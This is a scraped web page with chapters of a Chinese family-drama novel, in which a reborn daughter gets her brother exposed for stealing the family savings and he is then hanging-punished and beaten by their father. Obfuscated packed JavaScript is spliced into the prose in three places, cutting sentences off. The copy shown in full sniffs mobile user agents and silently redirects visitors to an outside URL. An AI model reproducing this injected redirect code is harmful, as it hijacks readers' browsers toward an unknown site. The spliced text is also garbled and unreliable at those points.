南雁退出来,反手带上门,她假装打扫卫生,拿着扫帚溜进了南天贵和南峰睡觉的里屋。 屋里弥漫着一股汗臭味,混合着灰尘的味道,南天贵的书包扔在床头,拉链没拉严,露出里面的课本,封皮上画满了小人。 她快速翻查书包,课本里、夹层里,连铅笔盒都打开看了,什么都没有。 接着是枕头底下,摸出了几个玻璃球,还有一张揉皱的画片。 破木箱的角落积满了灰,她伸手进去掏,手触到冰凉的木板,也没摸到钱。 最后,目光落在了床底下那双又脏又破的胶鞋上。 鞋面磨出了洞,露出里面的棉絮,鞋底裂了道缝,鞋帮上还沾着没洗干净的泥,是南天贵最常穿的鞋,脏得包兰芝都嫌洗着费劲,常说“等天暖和了就扔了”。 南雁屏住呼吸,心脏“砰砰”跳。她伸手摸进鞋里,手触到鞋垫时,突然顿住,鞋垫底下似乎有硬邦邦的东西,隔着薄薄的布,能摸到纸张的纹路。 她飞快地抽出鞋垫,里面卷着一小卷钞票,用橡皮筋捆着,展开一看,是三张崭新的“大团结”,还带着油墨混杂的脚臭味。 南雁的手微微发抖,这钱的票面她太熟悉了,包兰芝藏钱时,她偷偷见过,就是这种崭新的十元纸币。 她把钱重新卷好,塞进鞋垫底下,按原样铺好,连橡皮筋的位置都没动。 做完这一切,她站起身,拍了拍手上的灰,眼底已经没了波澜。 现在还不是摊牌的时候,她需要一个最有利的时机,不仅要让南天贵的罪行暴露,还要保护自己,甚至……利用这次机会,改变自己在这个家里的处境。 10. 三人成虎 她想到了南玉。 南玉刚刚因为“诬告”自己挨了骂,心里肯定又委屈又不服气。 而且她年纪小,藏不住话,又有点小机灵和小报复心。 如果让她“意外”发现这个秘密,肯定会闹得人尽皆知。 第二天上午,南雁趁着南玉一个人在屋里玩,故意在南天贵那双破胶鞋旁边和里面掉了几颗漂亮的花糖纸。 那是她昨天从供销社门口捡的,有粉色的、黄色的,上面印着水果图案,最能吸引小孩的注意。 果然,南玉很快被糖纸吸引,蹲下去捡,小手在地上扒拉着,很快就注意到了旁边的胶鞋。 南雁装作没看见,转身去了外屋,耳朵紧紧贴着门板,留心着里面的动静。 没过多久,她就听到里屋传来南玉低低的惊呼声,紧接着是窸窸窣窣翻动的声音,还有“哇”的一声惊叹。 南雁的嘴角勾了勾——鱼儿上钩了。 她悄悄挪到门缝边,借着那道窄缝往里看。 南玉正攥着一卷用橡皮筋捆着的钞票,眼睛瞪得溜圆,像两颗刚摘的葡萄,又大又亮。 她的小脸涨得通红,一半是惊讶,一半是兴奋,嘴角还微微翘着,那副抓住别人把柄的得意模样,活像只偷着腥的小猫。 南雁立刻退开,走出屋子,去找南春。 她找到南春时,那丫头正蹲在篱笆边看蚂蚁。 南雁蹲下来,从兜里摸出颗糖,塞到她手里:“春,跟你说个事。” 南春含着糖,含糊地“嗯”了一声,眼睛还盯着地上的蚂蚁。 “吃饭的时候,要是小玉说大哥坏话,你就跟着说,看见大哥买烟了,知道吗?”南雁的声音很轻,像一阵风,“别说错了,是红梅烟,还有动物饼干,黄纸包的那种。” 南春似懂非懂地点点头,把糖嚼得“咯吱”响,甜滋滋的味道让她很快忘了刚才的对话,只记得要跟着南玉说话。 晚上,南秉义拖着疲惫的身躯回来了。他的脸比平时更黑,眼角的皱纹里还沾着灰,连呼吸都带着沉重的鼻音,显然是在井下受了累,腰都快直不起来了。 晚饭时的气氛,比前三天更压抑。 包兰芝没上桌,南雁把窝头端进里屋,看见她正对着那只空蓝布包发呆,眼睛红肿得像核桃,眼角还挂着没干的泪。 “吃点吧,妈。”南雁把筷子递过去。 包兰芝没接,突然抓住南雁的手,眼神直勾勾的:“雁啊,你说……钱是不是被风刮走了?炕洞缝大……” 南雁的心里像被什么东西蛰了一下,又酸又涩,嘴上却平静得很:“说不定明天就找着了,先吃饭。” 她退出里屋时,南秉义已经坐在桌边了。他没动筷子,只是盯着面前的窝头,眉头皱得像拧成的绳,连额角的青筋都绷了起来。 南天贵坐在他对面,头埋得快碰到桌子,手里的窝头捏得变形。 南秀和南春、南峰挨着坐,南玉则坐得笔直,小脸上带着按捺不住的激动,眼睛时不时瞟向南天贵,又飞快地低下头。 南雁刚坐下,里屋就传来包兰芝的哭声,又哑又响:“我的钱啊……那是给天贵娶媳妇的钱啊……没了这钱,天贵要打一辈子光棍了……我活着还有啥意思啊……” “哭够了没有!”南秉义猛地一拍桌子,“啪”的一声,震得碗碟乱跳,南春吓得一哆嗦,手里的玉米粥洒了半碗。 他的声音里满是戾气,像淬了冰,“一天到晚就知道哭,哭能把钱哭回来?!” 里屋的哭声停了,接着是压抑的抽气。 南玉像是终于攒够了勇气,猛地抬起头,声音因为紧张尖细得像哨子:“爸!妈!我知道钱是谁偷的了!是大哥!是南天贵偷的!” 一句话,如同晴天霹雳,饭桌瞬间陷入死一般的寂静! 南天贵正夹着咸菜的手猛地一抖,咸菜掉在桌上,油渍溅了一片。 他的脸“唰”地变得惨白,像张白纸,眼神里满是惊恐和慌乱,嘴唇哆嗦着:“你……你个小丫头片子胡……胡说什么!你……你放屁!你个小贱人!” 南秉义的目光像刀子,直直射向南天贵:“你说啥?” 南天贵吓得一缩脖子,不敢再骂,只梗着脖子喊:“她冤枉我!她就是记恨我前几天抢她窝头吃!” “我没有!”南玉往前迈了一步,小胸脯挺得高高的,“我看见钱了!就在大哥的鞋里!那双破胶鞋,鞋垫底下藏着好几张大团结!崭新的!我下午看见的!” “你放屁!”南天贵彻底慌了,猛地站起来就要去抓南玉,“我撕烂你的嘴!” “你给我住手!”南秉义“啪”地又拍了下桌子,碗筷跳得更高。 他霍地站起来,一把揪住南天贵的衣领,手指几乎要嵌进对方的肉里,声音像是从牙缝里挤出来的:“说!是不是你干的?!” 南天贵的脸涨得通红,又瞬间变得惨白,嘴里反复喊着“不是我”,眼神却躲躲闪闪,不敢看南秉义。 包兰芝不知什么时候从里屋出来了,她的头发乱糟糟的,像团枯草,眼睛直勾勾地盯着南天贵,嘴唇哆嗦着,半天说不出一个字。 直到看见南天贵那副慌乱的样子,她才猛地扑过去,抓住他的胳膊,指甲深深掐进肉里,掐出几道红印。 “天贵……我的儿啊……”包兰芝的声音又哑又破,眼泪顺着脸颊往下淌,“你告诉妈……不是你……对不对?那钱是妈的命啊……你怎么能……” “妈!真不是我!”南天贵挣扎着,声音里已经带了哭腔,“是她陷害我!她就是想让你打我!” “我没有陷害你!”南玉急得跳脚,“钱就在你鞋里!不信你们去看!” 南雁轻轻碰了碰南春的胳膊。 南春立刻抬起头,声音怯生生的,像只受惊的小兔子:“爸,妈,三姐前天看见大哥在小卖部买烟了,红梅的,还买了动物饼干,分给二柱吃了。” 南秀的身子僵了僵,知道躲不过去,只好小声点头:“嗯!我看见了!饼干是黄纸包的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他半边脸肿得老高,还在呜呜地哭,可南雁的心里没有一点痛快,只有一片冰凉的荒芜。 她赢了吗?或许吧。 南天贵的罪行暴露了,脏水没泼到她身上。 可这个家,依旧是那个家。 儿子犯了错,打一顿就能过去;女儿想读书,却要拼尽全力去争那一点点生存的缝隙。 包兰芝的目光像被冻住的铅块,死死钉在地上瘫成一滩烂泥的南天贵身上。 儿子那张平日里被她宝贝得不行的脸,此刻泛着惨白,巨大的失望像冰冷的水,顺着她的脊椎往下淌,混着心口的绞痛和对未来的茫然,让她眼前猛地一黑,身子晃了晃,若不是扶住旁边的炕沿,早栽倒在地。 “走!现在就去拿!”南秉义拽起南天贵的衣领,像拎小鸡似的把他往外拖。 南天贵的脚在地上乱蹬,半天也挣不开那只铁钳似的手。 包兰芝也连忙爬起来,踉跄着跟在后面,手里还紧紧攥着那几张从南天贵鞋里拿出来的钞票,指节都泛了白。 矿村的夜又黑又冷,寒风卷着矿渣子,刮在脸上生疼。 南雁站在门口,看着三人的身影消失在夜色里,心里没有一丝波澜。 矿灯的光在远处忽明忽暗,像鬼火似的,映得矿渣山的轮廓格外狰狞。 半个多小时后,脚步声从黑暗里传来。 11. 讨债鬼 南秉义拽着耷拉着脑袋、脚步踉跄的南天贵回来了,他粗糙的大手里紧紧捏着个皱巴巴,看不出原本颜色的布包。 一进堂屋,他就把布包往桌子上一扔,包裹散开,里面的钱零零散地摊了出来,有新有旧,面额不等。 南秉义阴沉着脸,手指有些发抖地开始清点。 包兰芝也凑了过来,眼睛红肿,屏住呼吸盯着。 数来数去,一遍,两遍……最终数目定格在六十八块七毛三分。 “三十多块!这才几天?!你就给老子糟蹋了三十多块!”南秉义猛地将布包连同桌上的钱一起狠狠掼在桌面上,发出“砰”的一声巨响,他气得胸口剧烈起伏,眼睛瞪得血红。 “我他妈在井下钻一天,黑汗白流,累死累活才挣一块二毛钱!你倒好,拿家里的救命钱当流水花!抽烟!吃饼干!你咋不上天呢!” 包兰芝看着桌上那点可怜巴巴,完全不足以支撑家庭未来的钱,连哭都哭不出声了,只是捂着胸口,眼泪无声地往下淌,嘴里反复念叨着,声音嘶哑绝望:“完了……全完了……这日子没法过了……天贵的媳妇本没了着落,南峰开春的学费怎么办……拿什么交啊……” 南秉义没再理会她的哭诉,转身大步流星走到院里的柴房,翻找出一根粗粝的麻绳。 他走回堂屋时,南天贵正试图往炕边挪,想躲在包兰芝身后。 南秉义眼疾手快,一把揪住他的胳膊,反拧到身后。 南天贵“啊”地叫了一声,胳膊上传来的剧痛让他浑身发抖。 南秉义没停手,粗糙的麻绳在他手腕上绕了三圈,每一圈都勒得死紧,最后打了个死结,绳头留出长长的一截。 “爸!我错了!我再也不敢了!”南天贵膝盖一软就想跪,却被南秉义拽着麻绳往上提。 南秉义抬手将绳头甩过房梁,抓住末端,猛地往下一拉—— “啊——!”凄厉的惨叫划破了夜晚的寂静。 南天贵整个人被吊离地面,脚尖勉强能碰到地面,身体的重量全压在反绑的双臂上,肩关节像是要被扯下来似的,疼得他眼前发黑。 他挣扎着踢腿,却什么也碰不到,只能徒劳地晃动着身体,像只待宰的鸡。 南秉义顺手抄起墙角的笤帚疙瘩——那是用细竹条捆扎的,竹条顶端还带着尖刺,抽在人身上又脆又疼。 他扬起手,笤帚疙瘩带着风声,狠狠抽在南天贵的背上。 “啪!” 清脆的抽打声在堂屋里回荡,伴随着南秉义的怒骂:“我叫你偷!我叫你败家!今天不打死你这个畜生,我就不姓南!” “啪!啪!”笤帚疙瘩一下接着一下,落在南天贵的后背、胳膊上,很快就渗出了血印子。 南天贵一开始还杀猪般地嚎哭、求饶:“爸!我不敢了!再也不敢了!妈!救我啊!疼死我了!” 但渐渐地,他的哭声弱了下去,变成了痛苦的呻吟,最后只剩下微弱的像被遗弃的小猫似的啜泣,断断续续,仿佛随时会断气。 包兰芝坐在炕沿上,看着儿子浑身是伤,脸色惨白的样子,心如刀绞。 她一边掉眼泪,一边拍着大腿哭骂:“你个讨债鬼!家里都快揭不开锅了,你还偷钱!你咋不去死啊!” 骂着骂着,又开始骂自己,“都怪我!怪我太惯着你!怪我没教好你!”骂到激动处,她伸手往自己脸上扇,“我这张老脸,都被你丢尽了!” 南雁站在里屋门口,冷眼看着这场混乱。 她没上前劝,也没像弟弟妹妹那样害怕得发抖。 见南秀和南玉、南春、南峰几个小的吓得缩在一起,脸色发白,尤其是南峰,眼看就要哭出来。 她立刻走过去,低声而迅速地对南秀说:“带她们回屋里去,捂住耳朵,别听,别出来。” 南秀如蒙大赦,赶紧拉着弟弟妹妹们,逃也似的钻进了里屋。 南雁没回里屋,她走到堂屋角落,捡起地上的钢镚,又把桌缝里的钱抠出来,一张张理平整,放在桌上。 这时,南秉义的笤帚疙瘩突然停了。他看着南天贵垂着头,连呻吟都快没了,胸口剧烈起伏着,显然是累极了,也气极了。 他把笤帚疙瘩扔在地上,竹条散开,露出里面的朽木。 “今晚不准吃饭,不准喝水,就给我在这儿跪着!”南秉义的声音依旧冰冷,“啥时候想明白错在哪了,啥时候再起来!” 说完,他转身走到炕边,坐在包兰芝旁边,双手插进头发里,用力抓了抓,露出满是疲惫的脸。 包兰芝还在哭,只是声音小了些,肩膀一抽一抽的。 堂屋里只剩下南天贵微弱的啜泣声,还有煤油灯芯“突突”的跳动声。 …… 隔壁南家的动静,隔着一道土坯墙,清清楚楚地传到了李大婶家。 李大婶刚收拾完碗筷,坐在炕沿边就着昏黄的煤油灯纳鞋底,针线活做得有些心不在焉,耳朵一直支棱着留意隔壁的动静。 听到南秉义那声怒吼“我打死你个不争气的畜生!”时,她手里的针一抖,差点扎到手指。 她叹了口气,把鞋底和针线箩筐放到一边,侧身躺下,用胳膊肘捅了捅旁边已经闭上眼准备睡觉的丈夫陈明。 陈明刚闭上眼,困得眼睛都睁不开。 他在矿上跟南秉义一样,也是个下井的,白天干了一天力气活,此刻只想睡觉。 被媳妇这么一捅,他不耐烦地哼唧了一声:“咋了?大半夜的不睡觉,捅我干啥?” “你没听见隔壁的动静?”李大婶压低声音,朝着隔壁的方向努了努嘴,“南家又闹起来了,听秉义那火气,怕是要出大事。” 陈明揉了揉眼睛,勉强睁开一条缝:“能闹啥?还不是天贵那小子又闯祸了。半大小子,吃穷老子,还不省心。” 他打了个哈欠,声音含糊,“别管别人家的闲事,睡吧,明早还得下井。” “我看这回不一样。”李大婶往前凑了凑,声音压得更低,带着几分神秘,“你没听包兰芝哭?跟死了人似的,还说啥‘钱没了’‘媳妇本’。我估摸着,天贵那小子偷钱了,而且数目不小!” 陈明的睡意瞬间散了大半。 他坐起来,摸过炕边的烟袋,却没点,只是捏在手里:“不能吧?南家那点家底,秉义看得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李大婶听得直咂嘴:“啧啧,真是造孽。不过也好,该好好管教管教了,再不管,以后指不定闯出啥大祸来。” 陈明重新躺下,背对着媳妇:“清官难断家务事,别人家的事,少掺和。秉义有分寸,不会真打死孩子。睡吧。” 李大婶却没睡意。 她竖着耳朵听着隔壁的动静,嘴里还在絮絮叨叨:“你说这钱要是真没了,南家这日子可就更难了。南天贵的媳妇本没了,南峰的学费也没着落。包兰芝今天下午还跟我念叨,想给南雁说个婆家,换点彩礼。这要是钱没了,南雁那丫头怕是……” 她没再说下去,只是重重地叹了口气。 煤油灯的光晕晃了晃,映着她脸上复杂的神情——有同情,有无奈,还有一丝庆幸。 自家儿子虽然老实,没大出息,但至少不惹祸,不用她操这么大的心。 墙那边的打骂声渐渐低了下去,变成了断断续续的啜泣和压抑的沉默。 夜越来越深,风还在刮,把整个矿都裹进了一片寂静里。 李大婶又听了会儿,直到隔壁再没什么动静,才吹熄了灯。 黑暗中,她睁着眼睛躺了许久,心里盘算着:明天见了包兰芝,是该装作不知道,还是该上去安慰几句?要是安慰,该说些啥?要是装作不知道,会不会显得太冷漠? 这些念头在她脑子里转来转去,直到后半夜,才迷迷糊糊地睡着。 12. 不再心软 南家的堂屋没点灯。 深秋的夜气顺着窗缝往里钻,混着院角老槐树落叶子的沙沙声,压得人胸口发闷。 只有灶房那边还亮着一星昏黄的煤油光,把南天贵蜷缩在墙角的影子拉得老长,像条被抽了骨头的野狗。 他后背的血印子早凝了痂,粗麻绳勒得胳膊发麻,每动一下,伤口就像被盐腌过似的疼。 眼泪鼻涕糊在冻得发僵的脸上,冷风一吹,结了层薄霜。 他渴得嗓子冒烟,胃里空得发慌,却连哼都不敢哼一声。 南秉义坐在炕沿上,烟袋锅子在黑暗里明灭,那点红光映着他铁青的脸,谁都知道这时候凑上去,准得挨顿更狠的打。 包兰芝哭累了,靠在炕头上,眼神空洞地看着地面。 桌上的钱已经被南雁理平整,分成了几摞,最上面是那张十块的新票,下面是五块、一块的,最底下是钢镚。 那六十八块七毛三分,此刻像块石头,压在每个人的心上。 里屋的破布帘子被风掀起个角,南雁走进去时,正看见南秀把南峰搂在怀里。 小丫头片子才八岁,胳膊细得跟麻杆似的,却把弟弟护得严实,南玉和南春缩在炕角,眼睛红得像兔子,看见她进来,南峰的眼泪先掉了下来:“大姐,大哥会不会死啊?” 南雁的手顿了顿,摸了摸他冻得冰凉的脸蛋。 这孩子才五岁,还不知道“死”是什么意思,只知道父亲的鞭子抽在大哥身上有多响,母亲的哭声有多吓人。 她从柜子里翻出件打了补丁的旧棉袄——那是南秉义前年穿过的,她递到南秀手里:“给大哥盖上,别冻着。” 南秀捏着棉袄的边角,犹豫着走到堂屋。 南天贵听见脚步声,猛地抬头,眼里满是乞怜,见是三妹妹,又赶紧低下头,嘴唇动了动,像要说话,最终只发出点含混的气音。 南秀把棉袄轻轻盖在他身上,触到他后背的痂,手一抖,棉袄滑下去半截,她没敢再碰,转身跑回了里屋。 * 第二天一早,天色灰蒙蒙的。 南雁按照惯例,早早起来烧好了热水,端着一铜盆洗脸水走进里屋时,包兰芝已经坐在炕沿上了。 往日这个时候,包兰芝早该咋咋呼呼地催着她扫地、喂猪,嫌水太凉,嫌她动作慢,今天却像没听见动静似的,直勾勾盯着窗外那座矿渣山。 那山堆得比南家的屋顶还高,灰黑色的渣石在晨光里泛着冷光,像一头蹲在那的巨兽。 南雁把铜盆放在炕边,水花溅到包兰芝的裤脚,她也没像往常那样跳起来骂人,只是慢慢抬起头,眼神里的精明和算计全没了,只剩下厚厚的疲惫,血丝爬满眼底,像蒙了层灰的玻璃,连南雁都读不懂那里面藏着的失望。 是失望儿子不争气,还是失望这日子怎么就越过越紧巴? 这眼神看得南雁心里一阵发沉,她知道,这次丢钱事件,对包兰芝的打击,远比表面上看起来更沉重。 南秉义下井前,换上那身布满矿灰和破洞的工作服,路过南雁那间用破布帘子隔出来,勉强算是屋子的门口时,正好看见她坐在小凳子上,膝盖上摊着那本旧课本,正低声默念着。 若是以前,南秉义多半会皱起眉头,觉得女孩子看这些没用,要么呵斥她赶紧去干活,要么直接无视。 可这次,他脚步顿住了,在门口站了几秒钟,目光落在南雁专注的侧脸和那本泛黄的书页上,嘴唇动了动,最终什么也没说,只是深深地叹了口气,然后转身,默默地推门出去了。 那声叹息混着清晨的冷风,飘进南雁耳朵里,她手里的课本顿了顿,抬头时,只看见父亲穿着满是破洞的矿工服,背影消失在院门外,矿灯在他背后晃悠,像颗快要熄灭的星星。 南天贵仍然被反绑着双手,栓在堂屋的桌腿旁。 南秉义发了话,要让他长长记性,饿上一天,好好反省。 南雁见他嘴唇干裂起皮,脸色灰败,蜷缩在那里可怜兮兮的样子,终究是动了些许恻隐之心。 她盛了一碗清水,走过去,蹲下身,准备喂他喝一点。 然而,她的碗刚递到南天贵嘴边,南秉义冰冷的声音就从身后传来,严厉道:“不准给他!” 南雁手一抖,碗里的水溅了出来,打湿了南天贵胸前的衣襟,也打湿了地面。 南秉义大步走进来,眼神像淬了冰,扫过南雁手里的碗和南天贵渴望的眼神,声音斩钉截铁:“让他饿着!清醒清醒!好好想想自己错在哪儿!家里的血汗钱,是让他这么糟蹋的吗?!今天谁要是敢偷偷给他一口吃的,我连他一块打!” 南雁握着碗的手紧了紧,她看着桌腿旁眼神惊恐、充满乞求的南天贵,又看了看父亲铁青的脸色,终究没再说话。 她默默地端着那碗水,起身,一步步退回了厨房,将水缓缓倒回了水缸里。 她告诉自己,不能心软,南天贵是自作自受。 年幼的南春蹲在院子的墙角,用小手拨弄着几颗圆润的石子,见南雁出来,抬起懵懂的小脸,含糊不清地问:“大姐……大哥,还饿着呢?” 南雁伸手摸了摸她枯黄的头发,那头发像干草似的,没一点光泽。 她没应声,转身进了自己的小角落。 桌角的课本还摊开着,冷风从窗户缝钻进来,吹得书页哗啦响,那些熟悉的方块字在她眼里晃来晃去,像一群游不动的小蝌蚪,半天也没看进去一个。 晌午过了,包兰芝才像上了发条似的动起来。 她理了理散乱的头发,脚步虚浮地走出院子,去了隔壁李家。 南雁隔着院墙,能听见她带着哭腔的声音,混着李婶的劝慰:“六十八块七毛三分啊……那是他爸下井挣的命钱……这日子可怎么过啊……” 南雁知道,母亲不是去求帮忙的。 李家跟南家一样穷,最多能给两个玉米面窝头,母亲只是想找个人哭哭,把心里的委屈倒出来,顺便维持着“我是个可怜的母亲”的脸面。 等包兰芝回来时,手里果然攥着两个窝头,干硬得能硌掉牙,她没提给被拴着的南天贵吃,只是默默地把窝头放在冰冷的灶台上,然后又像被抽空了力气一般,坐回到炕沿上,继续盯着窗外的矿渣山发呆,仿佛那山能把丢了的钱吐出来似的。 傍晚,南秉义带着一身灰和疲惫从井下回来。 他先去了堂屋,看了一眼被拴在桌腿旁的南天贵。 经过一整天的饥饿、恐惧和捆绑,南天贵已经没了力气挣扎,像一滩烂泥般瘫在地上,脸色白得吓人,嘴唇干裂出血丝,只有胸口微微起伏,证明他还活着。 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459931|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见南秉义进来,他眼神里瞬间充满了惧意,身体下意识地蜷缩起来,连啜泣都不敢大声,只剩下细微、压抑的抽气声。 南秉义盯着他看了半晌,烟袋锅子在黑暗里明灭,最终弯下腰,解开了拴在桌腿上的绳子,又松开了反绑南天贵双手的麻绳。 南天贵的胳膊垂落下来,麻木得没了知觉,他想求饶,却连张开口的力气都没有。 “晚上就在这地上待着。”南秉义丢下一句话,转身去了堂屋,拿起烟袋抽了起来。 南雁看着手里自己省下来,准备晚上看书时垫肚子的半个窝头,又看了看角落里如同惊弓之鸟的南天贵,内心挣扎、犹豫了许久。 有那么一瞬间,她几乎要迈步走过去。 但前世记忆的碎片如同冰冷的潮水般涌来——那些无谓的善良、心软,最终换来的不过是更多的索取、压榨和理所当然的忽视。 马善被人骑,人善被人欺,这是她用惨痛代价换来的教训。 南天贵有今天,完全是他咎由自取。 他偷钱的时候,何曾想过这是父母的血汗?何曾想过这会断送弟妹的学费、家庭的希望?他享受抽烟、吃饼干的时候,何曾想过家里还有人连肚子都填不饱? 一想到这些,南雁心里那点残存的同情和难过,便迅速冷却、硬化了。 她不再犹豫,收回目光,拿着那半个窝头,转身回到了自己的小桌前。 她用力咬了一口干硬的窝头,就着微弱的灯光,重新摊开了课本。 接下来的几天,南家都笼罩在这种压抑的沉默里。 包兰芝像是被抽走了魂,家务活计做得丢三落四,也不再像以前那样高声大气地指使南雁,只是偶尔会用那种复杂、带着审视和失落的目光看着南雁忙碌的身影。 南秉义更加沉默,下班回来除了吃饭抽烟,几乎不说一句话,对南天贵更是视而不见。 南天贵被饿了两天,直到第三天下午,包兰芝才在南秉义默许的眼神下,端了一碗能照见人影的稀粥给他。 南天贵像见了救命稻草似的,狼吞虎咽地喝完,碗底都舔得干干净净。 “去劈柴,挑水。”南秉义的声音依旧冷,“把丢的钱,用力气补回来!” 南天贵不敢耽误,拖着虚弱的身体去了院子。 他拿起斧头,胳膊还在抖,一斧头下去,没劈中柴,倒差点劈了自己的脚。 以前他总爱跟矿里的半大小子混在一起,抽烟、赌钱,觉得劈柴挑水是“窝囊活”,今天却没敢有半点怨言,只是默默地劈着,汗水顺着他的下巴往下滴,落在冻硬的地上,瞬间就没了痕迹。 他眼里的混不吝没了,只剩下畏缩,像只被打怕了的狗。 南雁冷眼旁观着这一切。 她知道,父亲的雷霆手段暂时压制住了南天贵,但能否根除他骨子里的自私和惫懒,还是未知数。 而母亲的状态,则更让她警惕。 包兰芝的沉默和反常,更像是一种积蓄,一种在巨大打击后重新调整和算计的过程。 南雁毫不怀疑,一旦包兰芝从这次打击中缓过劲来,她那精于算计、重男轻女的本质只会变本加厉,可能会更加急切地想要从其他地方找补回“损失”,而自己这个逐渐显露“反骨”的女儿,很可能成为她新的目标和出气筒。 13. 转性 南秉义刚从井下上来,矿灯还没卸,就往炕沿上一坐,烟袋锅子在鞋底“磕嗒”磕了两下,烟灰簌簌落在满是补丁的裤腿上,像撒了把黑土。 “挑水、劈柴、喂猪,以后全归天贵!雁子就专心上课,鸡她偶尔搭把手就行。” “爸!”南天贵的声音立刻炸了,他正蹲在门槛上洗自己的鞋,鞋帮上的白边被他洗得发亮,“凭啥啊?那些活不是娘们干的吗?让她一个大姑娘家天天在家待着,我出去干这些粗活,人家不得笑话我?” 他原以为自己前阵子偷钱被揍后,老实几天就能变回以前的“宝贝疙瘩”——饭来张口,衣来伸手,南雁忙前忙后伺候他。 灶房里顿时传来“哐当”一声巨响,包兰芝手里的铁勺子撞在锅底,滚热的玉米糊糊溅出来,烫得她手猛地一缩,指尖瞬间红了一片。 她顾不上吹,撩着沾了面疙瘩的围裙就冲出来,头发上还沾着灶灰:“秉义!你疯了?天贵细皮嫩肉的,哪干过这些粗活?雁子闲着也是闲着,让她多干点咋了?” 南秉义没看吵吵嚷嚷的妻儿,目光落在角落里的南雁身上。 这姑娘刚从学校回来,怀里还抱着那本卷了边的语文课本,那是去年她考了年级第一,老师特意奖给她的。 前阵子矿上搞“知识竞赛”,南雁拿了一等奖,奖品是一块带花纹的肥皂。 包兰芝当时还念叨着“这肥皂能洗半个月衣服”,南秉义却盯着女儿站在领奖台上的样子,第一次觉得这丫头眼里的光,比矿灯还亮。 他这辈子在井下刨矿,见过太多因为没文化被欺负、被糊弄的人,他不想女儿也走那条路。 “吵啥?”南秉义终于开口,烟袋锅子在手里转了一圈,“这个家我还做得了主!天贵都十六了,该有点当哥的样子,总不能一辈子靠爹娘吧?雁子能读,就让她读,将来说不定能走出这座矿!再闹,信不信我打死你!南天贵!” 最后几个字,他说得又沉又狠,矿灯的光正好照在他脸上,皱纹里的矿尘都看得清清楚楚,眼里的怒火像要把这冷屋子烧穿。 南天贵手里的鞋刷“啪嗒”砸在盆里上,溅起的泥水溅脏了他刚刷白的鞋帮。 他猛地蹦起来,裤腿上还沾着洗鞋的皂角泡沫,像只炸毛的公鸡,全然忘了之前自己的惨样:“爸!你凭啥护着她?我可是你亲儿子!凭什么让她一个丫头片子在家享清福,我出去干粗活,要是被我矿上的兄弟们看见了,不得笑掉大牙?” 南秉义从炕沿上站起身,常年握矿镐的手青筋暴起,指节捏得发白。 他往前迈了两步,怒气扑面而来:“亲儿子?笑?你偷家里钱去赌的时候,怎么不怕人笑?你把你妈气哭的时候,怎么不怕人笑?家里没饭吃的时候,你怎么不怕人笑?今天这活你干也得干,不干也得干!” 包兰芝捂着被热粥烫伤的手,急得直跺脚:“秉义!天贵哪干过这些?雁子从小就干活,让她多干点咋了?家务活本来就应该女人来,再说你这是要把咱家宝往火坑里推啊!” 她说着就想去拉南秉义的胳膊,却被他一甩袖子躲开,踉跄着差点撞在炕沿上,手背上的水泡破了,疼得她嘶嘶抽气。 南雁抱着课本站在角落,指尖攥得发白。 她看着父亲宽厚的背影,心里又酸又暖。 前世直到她为了逃离这个家,这座矿随便找了个男人就嫁了,父亲都没对她说过一句软话,可这一世,他却为了让她读书,跟妻儿闹得脸红脖子粗。 其实,前世她为数不多感受到父爱,是从女儿小安出生后。 那时候,她刚生小安,她男人却是个没本事的,在外面欠了一屁股债,家里穷得揭不开锅。 南秉义知道后,就买了奶粉、婴儿用品、吃的等等从矿里坐了十几个小时的车送到她那里去。 因为怀孕时,家里穷,营养没跟上,导致女儿先天体弱,出生后身体就一直不太好。 她又是高龄产妇,也没有多余的精力去照顾女儿,南秉义知道后,就让包兰芝来照顾她们。 包兰芝是不愿意的,碍于南秉义的脾气,她只能不情不愿地照顾她们娘俩,出了月子后,包兰芝一声不吭就回了老家,至此再也没来过。 而在一众孙辈里,南秉义最喜欢、最疼的便是小安,即使骨子里重男轻女的念头不曾改变过,但只要长孙有的,他都会分一半给小安。 这是其他孙辈所没有过的,甚至南秉义临终前最后念叨、放不下、挂念的也还是小安。 她也不明白,为什么父亲南秉义这么喜欢小安,或许爱没有理由,就像她不明白为什么包兰芝不喜欢她是一样的。 “咋了?你不是女人吗?南天贵就是被你宠坏了!都说从小偷针,长大偷金,他如今还未成年就敢偷钱了!你不怕他以后抢银行啊!” 南秉义冷笑一声,烟袋锅子往炕沿上一磕,火星子溅在被褥上,“他都十六了,再过两年就能下井了!现在连挑水劈柴都嫌累,将来怎么撑起这个家?雁子能读书,能给家里拿奖状,你怎么不说让她多读书?” 包兰芝被堵得说不出话,只能抹着眼泪嘟囔:“读书有啥用?丫头片子早晚是别人家的人,还不是给别人做嫁衣?” “你懂个屁!”南秉义难得跟包兰芝红了脸,“我在井下刨了二十年矿,见过多少没文化的人被工头坑?上个月老王因为不认字,工资单被改了都不知道!雁子要是能读出出息,将来就能走出这座矿,去到城里,不用跟咱们一样,一辈子跟这些矿石打交道!” 他顿了顿,目光扫过包兰芝,“你别以为我不知道你心里的小九九,家里姑娘这么多,你唯独不喜雁子——这事就这么定了,没得商量!” 南天贵见父亲动了真格,气焰矮了半截,却还嘴硬:“走出矿又咋样?她一个女的,还能当矿长?” “就算当不了矿长,也比在这里熬日子强!”南秉义瞪着他,“明天起,你要是敢偷懒,我就把你锁在柴房里,饿你三天三夜!” 南天贵还想反驳,包兰芝连忙拉了拉他的胳膊,凑到他耳边小声说:“你爸现在在气头上,先答应下来,等他消气了,妈再给你想办法。” 南天贵这才不情不愿地踢了踢脚边的水桶,算是默认了。 